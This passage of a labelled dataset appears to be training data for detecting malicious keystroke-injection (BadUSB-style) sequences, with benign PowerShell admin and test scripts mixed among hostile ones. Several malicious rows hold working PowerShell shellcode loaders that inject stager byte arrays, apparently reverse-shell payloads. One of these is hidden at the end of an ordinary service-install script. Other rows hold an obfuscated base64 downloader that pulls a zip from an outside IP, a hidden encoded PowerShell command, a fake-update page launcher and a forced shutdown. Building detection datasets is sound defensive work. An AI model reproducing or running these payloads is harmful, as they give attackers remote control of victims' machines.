5,0x98,0xa2,0x54,0x68,0x02,0x00,0x25,0xde,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $global:psakeSwitches = @('-docs', '-task', '-properties', '-parameters') funct enter ion script:psakeSwitches($filter) { $psakeSwitches | Where-Object { $_ -like "" enter $filter*"" } } function script:psakeDocs($filter, $file) { if ($file -eq $null enter -or $file -eq '') { $file = 'psakefile.ps1' } psake $file -docs | out-string -S enter tream | ForEach-Object { if ($_ -match ""^[^ ]*"") { $matches[0]} } | Where-Object enter { $_ -ne ""Name"" -and $_ -ne ""----"" -and $_ -like ""$filter*"" } } function scrip enter t:psakeFiles($filter) { enter",1,1,0.0018102783,0.99818975
win+r powershell enter  function Test-GetBlueprintAssignment { $assignments = Get-AzBlueprintAssign enter ment Assert-True { $assignments.Count -ge 1 } Assert-NotNull $assignments[0]. enter Name Assert-NotNull $assignments[0].Id Assert-NotNull $assignments[0].Blueprin enter tId Assert-NotNull $assignments[0].Scope Assert-NotNull $assignments[0].Locati enter on enter enter,1,1,0.0064386334,0.9935614
"win+r enter powershell enter enter enter param($FailIfNotSigned = $true) enter enter $releasePath = [System.IO.Path]::GetFullPath(""$PSScriptRoot\.. enter elease"") enter $finalPackagePath = [System.IO.Path]::GetFullPath(""$releasePath\FinalPackages"") enter $binariesToSignPath = [System.IO.Path]::GetFullPath(""$releasePath\BinariesToSign"") enter $unpackedPackagesPath = [System.IO.Path]::GetFullPath(""$releasePath\UnpackedPackages"") enter $nugetPath = [System.IO.Path]::GetFullPath(""$PSScriptRoot\..\.nuget\NuGet.exe"") enter enter mkdir $finalPackagePath -Force | Out-Null enter enter $binaries = Get-ChildItem $binariesToSignPath enter foreach ($binaryPath in $binaries) { enter $signature = Get-AuthenticodeSignature $binaryPath.FullName enter if ($signature.Status -eq ""NotSigned"" -and $FailIfNotSigned) { enter Write-Error ""Binary file is not authenticode signed: $binaryPath"" -ErrorAction Stop enter } enter $packageName = [System.IO.Path]::GetFileNameWithoutExtension($binaryPath) enter $packageName = $packageName.TrimEnd("".x86"") enter $packagePath = ""$unpackedPackagesPath\$packageName"" enter cp $binaryPath.FullName -Destination ""$packagePath\lib enter et45\"" -Force enter Push-Location $finalPackagePath enter & $nugetPath pack ""$packagePath\$packageName.nuspec"" enter Pop-Location enter } enter enter",0,0,0.9947189,0.0052810227
"delay_medium enter win+r enter delay_short enter cmd enter enter enter delay_medium enter rundll32 url.dll,FileProtocolHandler https://fakeupdate.net/win10ue/bsod.html enter enter enter delay_medium enter unknown_key_action F11",1,1,5.990306e-05,0.99994004
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_yhp8g6hw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_200.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3605764e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4hy0cs9a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4296278e-05
win r cmd enter shutdown /s /t 0 enter,1,1,0.010447808,0.9895522
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_7jnnxhpd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_150.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3697288e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ve228fs3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4300727e-05
"win+r enter powershell enter enter enter function Get-PSObjectEmptyOrNullProperty enter { enter enter PARAM ( enter $PSObject) enter PROCESS enter { enter $PsObject.psobject.Properties | enter Where-Object { -not $_.value } enter } enter } enter enter $zI5j = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $zI5j -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd,0xc7,0xbf,0x16,0x68,0x29,0x0d,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x47,0x31,0x7b,0x18,0x83,0xc3,0x04,0x03,0x7b,0x02,0x8a,0xdc,0xf1,0xc2,0xc8,0x1f,0x0a,0x12,0xad,0x96,0xef,0x23,0xed,0xcd,0x64,0x13,0xdd,0x86,0x29,0x9f,0x96,0xcb,0xd9,0x14,0xda,0xc3,0xee,0x9d,0x51,0x32,0xc0,0x1e,0xc9,0x06,0x43,0x9c,0x10,0x5b,0xa3,0x9d,0xda,0xae,0xa2,0xda,0x07,0x42,0xf6,0xb3,0x4c,0xf1,0xe7,0xb0,0x19,0xca,0x8c,0x8a,0x8c,0x4a,0x70,0x5a,0xae,0x7b,0x27,0xd1,0xe9,0x5b,0xc9,0x36,0x82,0xd5,0xd1,0x5b,0xaf,0xac,0x6a,0xaf,0x5b,0x2f,0xbb,0xfe,0xa4,0x9c,0x82,0xcf,0x56,0xdc,0xc3,0xf7,0x88,0xab,0x3d,0x04,0x34,0xac,0xf9,0x77,0xe2,0x39,0x1a,0xdf,0x61,0x99,0xc6,0xde,0xa6,0x7c,0x8c,0xec,0x03,0x0a,0xca,0xf0,0x92,0xdf,0x60,0x0c,0x1e,0xde,0xa6,0x85,0x64,0xc5,0x62,0xce,0x3f,0x64,0x32,0xaa,0xee,0x99,0x24,0x15,0x4e,0x3c,0x2e,0xbb,0x9b,0x4d,0x6d,0xd3,0x68,0x7c,0x8e,0x23,0xe7,0xf7,0xfd,0x11,0xa8,0xa3,0x69,0x19,0x21,0x6a,0x6d,0x5e,0x18,0xca,0xe1,0xa1,0xa3,0x2b,0x2b,0x65,0xf7,0x7b,0x43,0x4c,0x78,0x10,0x93,0x71,0xad,0x8d,0x96,0xe5,0xfc,0xfd,0x94,0xe8,0x68,0x00,0xa7,0x03,0x35,0x8d,0x41,0x73,0x95,0xdd,0xdd,0x33,0x45,0x9e,0x8d,0xdb,0x8f,0x11,0xf1,0xfb,0xaf,0xfb,0x9a,0x91,0x5f,0x52,0xf2,0x0d,0xf9,0xff,0x88,0xac,0x06,0x2a,0xf5,0xee,0x8d,0xd9,0x09,0xa0,0x65,0x97,0x19,0x54,0x86,0xe2,0x40,0xf2,0x99,0xd8,0xef,0xfa,0x0f,0xe7,0xb9,0xad,0xa7,0xe5,0x9c,0x99,0x67,0x15,0xcb,0x92,0xae,0x83,0xb4,0xcc,0xce,0x43,0x35,0x0c,0x99,0x09,0x35,0x64,0x7d,0x6a,0x66,0x91,0x82,0xa7,0x1a,0x0a,0x17,0x48,0x4b,0xff,0xb0,0x20,0x71,0x26,0xf6,0xee,0x8a,0x0d,0x06,0xd2,0x5c,0x6b,0x7c,0x3a,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$LLA=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($LLA.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$LLA,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.206162e-05,0.9999479
"win+r enter powershell enter enter enter Describe ""Test trap"" -Tags ""CI"" { enter Context ""Trap with flow control"" { enter It ""Line after exception should NOT be continued when it's from a nested script block"" { enter $a = . {trap {""trapped""; continue;}; . {""hello""; throw ""exception""; ""world""}} enter $a.Length | Should -Be 2 enter $a -join "","" | Should -BeExactly ""hello,trapped"" enter } enter enter It ""Line after exception should NOT be continued and both inner and outter traps should be triggered"" { enter $a = . {trap {""outer trap""; continue;}; . {trap {""inner trap""; break;}; ""hello""; throw ""exception""; ""world""}} enter $a.Length | Should -Be 3 enter $a -join "","" | Should -BeExactly ""hello,inner trap,outer trap"" enter } enter enter It ""Line after exception should be invoked after continue"" { enter $a = . {trap {""outer trap""; continue;} ""hello""; throw ""exception""; ""world""} enter $a.Length | Should -Be 3 enter $a -join "","" | Should -BeExactly ""hello,outer trap,world"" enter } enter enter It ""Line after exception should NOT be invoked and inner trap should not be triggered"" { enter $a = . {trap {""outer trap""; continue;}; . {trap [system.Argumentexception] {""inner trap""; continue;}; ""hello""; throw ""exception""; ""world""}} enter $a.Length | Should -Be 2 enter $a -join "","" | Should -BeExactly ""hello,outer trap"" enter } enter } enter } enter enter",0,0,0.9999504,4.9628234e-05
"win+r powershell enter  [String] $folder = ""E:\Dexma\SQLIOTesting\""; [int] $runTimeSec = 60; [int] $f enter ileSizeMb = 1000; [String[]] $stripFct = @(""random"", ""sequential""); [int[]] $thr enter eads = @(1, 4, 16); [Char[]] $ioTypes = @(""R"", ""W""); [int[]] $ioSizesKb = @(8, 6 enter 4, 256, 512); [bool] $createHtml = $true; Add-Type @"" enter enter",1,1,0.00078324584,0.9992168
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xe4,0x07,0x00,0x00,0xe8,0x2d,0x01,0x00,0x00,0x2f,0x6d,0x42,0x55,0x63,0x6a,0x31,0x79,0x6a,0x43,0x73,0x6f,0x38,0x4a,0x6a,0x30,0x6e,0x61,0x6e,0x49,0x38,0x54,0x51,0x66,0x77,0x58,0x72,0x64,0x49,0x4d,0x59,0x7a,0x38,0x7a,0x45,0x6b,0x41,0x37,0x4a,0x78,0x34,0x67,0x61,0x63,0x47,0x42,0x64,0x37,0x6c,0x43,0x6e,0x2d,0x39,0x6c,0x53,0x54,0x39,0x76,0x54,0x66,0x6b,0x4f,0x62,0x72,0x4c,0x78,0x56,0x49,0x38,0x5a,0x64,0x46,0x4e,0x49,0x68,0x7a,0x66,0x36,0x6c,0x64,0x35,0x50,0x41,0x73,0x57,0x54,0x38,0x35,0x76,0x7a,0x4e,0x77,0x38,0x54,0x36,0x58,0x49,0x4d,0x49,0x48,0x56,0x57,0x78,0x50,0x56,0x6f,0x43,0x32,0x54,0x6a,0x58,0x69,0x55,0x64,0x41,0x43,0x70,0x68,0x41,0x2d,0x68,0x31,0x66,0x55,0x38,0x78,0x5a,0x68,0x65,0x74,0x36,0x46,0x30,0x75,0x55,0x34,0x38,0x30,0x39,0x51,0x36,0x6e,0x4e,0x72,0x42,0x7a,0x78,0x74,0x55,0x4c,0x64,0x66,0x76,0x4f,0x36,0x57,0x68,0x5a,0x50,0x31,0x43,0x68,0x44,0x66,0x46,0x75,0x46,0x39,0x61,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x48,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x38,0x33,0x2e,0x34,0x2e,0x32,0x35,0x30,0x2e,0x32,0x39,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2016516e-05,0.999948
"win+r powershell enter if (($PSVersionTable.ContainsKey('PSEdition')) -and ($PSVersionTable.PSEdition enter -eq 'Core')) { & $SafeCommands[""Add-Type""] -Path ""${Script:PesterRoot}/lib/Gher enter kin/core/Gherkin.dll"" } else { & $SafeCommands[""Import-Module""] -Name ""${Script enter :PesterRoot}/lib/Gherkin/legacy/Gherkin.dll"" } $GherkinSteps = @{} $GherkinHook enter s = @{ BeforeEachFeature = @() BeforeEachScenario = @() AfterEachFeature = @( enter ) enter enter",1,1,0.0028229856,0.997177
"${first_1} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('Y enter wBtAGQA'))) ${second_2} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBa enter se64String('ZQB4AGUA'))) ${__///\\\} = $([Text.Encoding]::Unicode.GetString([Con enter vert]::FromBase64String('LgBwAG4AZwA='))) ${fourth_4} = $([Text.Encoding]::Unico enter de.GetString([Convert]::FromBase64String('egBpAHAA'))) ${fifth_5} = $([Text.Enco enter ding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALg enter AzADgALgAyADMANQAuADEANQAyAC8AMgAwAC8AYQAvAG0ALwBtAC4AegBpAHAA'))) ${_/|\_/|/\\\ enter \\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB enter 1AGIAbABpAGMA'))) ${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::Fro enter mBase64String('YwA6AFwAdQBzAGUAcgBzAFwA'))) ${eight_8} = ""${_/|_}${_/|\_/|/\\\\ enter \\\/|_}"" ${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\//_} = $([Text.Encoding]::Unicode.Ge enter tString([Convert]::F enter",1,1,8.739259e-05,0.9999126
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_2jxwhpsl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4523222e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_r5vb67ir"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.440336e-05
"win+r enter powershell enter enter enter [CmdletBinding()] enter param( enter ) enter Set-StrictMode -Version Latest enter enter & (Join-Path $PSScriptRoot ..\Import-Carbon.ps1 -Resolve) enter enter $ccservicePath = 'Path tab o\ccservice.exe' enter $ccserviceUser = 'example.com\CCServiceUser' enter $ccservicePassword = 'CCServiceUserPassword' enter Install-Service -Name CCService -Path $ccservicePath -Username $ccserviceUser -Password $ccservicePassword enter enter $pathToVersionControlRepository = 'Path tab o\version\control enter epository' enter $pathToBuildOutput = 'Path tab o\build\output' enter Grant-Permission -Identity $ccserviceUser -Permission FullControl -Path $pathToVersionControlRepository enter Grant-Permission -Identity $ccserviceUser -Permission FullControl -Path $pathToBuildOutput enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x10,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1568095e-05,0.9999484
"win+r enter powershell enter enter enter function Remove-RsRestCatalogItem enter { enter [CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'High')] enter param( enter [Parameter(Mandatory = $True)] enter [string] enter $RsItem, enter enter [string] enter $ReportPortalUri, enter enter [Alias('ApiVersion')] enter [ValidateSet(""v2.0"")] enter [string] enter $RestApiVersion = ""v2.0"", enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter [Microsoft.PowerShell.Commands.WebRequestSession] enter $WebSession enter ) enter Begin enter { enter $WebSession = New-RsRestSessionHelper -BoundParameters $PSBoundParameters enter $ReportPortalUri = Get-RsPortalUriHelper -WebSession $WebSession enter $catalogItemsUri = $ReportPortalUri + ""api/$RestApiVersion/CatalogItems(Path='{0}')"" enter } enter Process enter { enter if ($RsItem -eq '/') enter { enter throw ""Root folder cannot be deleted!"" enter } enter enter if ($PSCmdlet.ShouldProcess($RsItem, ""Delete the item"")) enter { enter try enter { enter Write-Verbose ""Deleting item $RsItem..."" enter $catalogItemsUri = [String]::Format($catalogItemsUri, $RsItem) enter enter if ($Credential -ne $null) enter { enter Invoke-WebRequest -Uri $catalogItemsUri -Method Delete -WebSession $WebSession -Credential $Credential -Verbose:$false | Out-Null enter } enter else enter { enter Invoke-WebRequest -Uri $catalogItemsUri -Method Delete -WebSession $WebSession -UseDefaultCredentials -Verbose:$false | Out-Null enter } enter enter Write-Verbose ""Catalog item $RsItem was deleted successfully!"" enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to delete catalog item '$RsItem': $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter } enter enter",0,0,0.99988294,0.00011710614
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_7zri0clb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.377109e-05
"win+r enter powershell enter enter enter ""C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe"" -WindowStyle Hidden $vYeIZ='92^64^43^43^64^44^03^65^65^42^82^85^54^94^B3^72^72^02^E6^96^F6^A6^D2^02^37^27^16^86^34^96^96^36^37^16^42^02^D3^64^43^43^64^44^03^65^65^42^B3^D7^22^F5^42^87^03^22^D5^56^47^97^26^B5^D5^27^16^86^36^B5^B7^02^47^36^56^A6^26^F4^D2^86^36^16^54^27^F6^64^C7^02^92^72^E5^72^82^47^96^C6^07^37^E2^67^D6^42^02^D3^37^27^16^86^34^96^96^36^37^16^42^B3^92^72^76^07^A6^E2^23^16^47^C6^56^44^F2^47^C6^E2^16^27^56^86^F2^F2^A3^07^47^47^86^72^C2^46^F6^86^47^56^D4^A3^A3^D5^56^07^97^45^C6^C6^16^34^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^C2^72^76^E6^96^27^47^72^02^B2^02^72^35^46^16^72^02^B2^02^72^F6^C6^E6^72^02^B2^02^72^77^F6^44^72^C2^97^47^47^42^82^56^D6^16^E6^97^24^C6^C6^16^34^A3^A3^D5^E6^F6^96^47^36^16^27^56^47^E6^94^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^02^D3^67^D6^42^B3^92^76^E6^96^07^42^82^02^C6^96^47^E6^57^02^D7^47^56^96^57^15^D2^02^13^02^47^E6^57^F6^36^D2^02^D6^F6^36^E2^56^C6^76^F6^F6^76^02^07^D6^F6^36^D2^02^E6^F6^96^47^36^56^E6^E6^F6^36^D2^47^37^56^47^02^D3^02^76^E6^96^07^42^B7^02^F6^46^B3^92^72^36^96^37^16^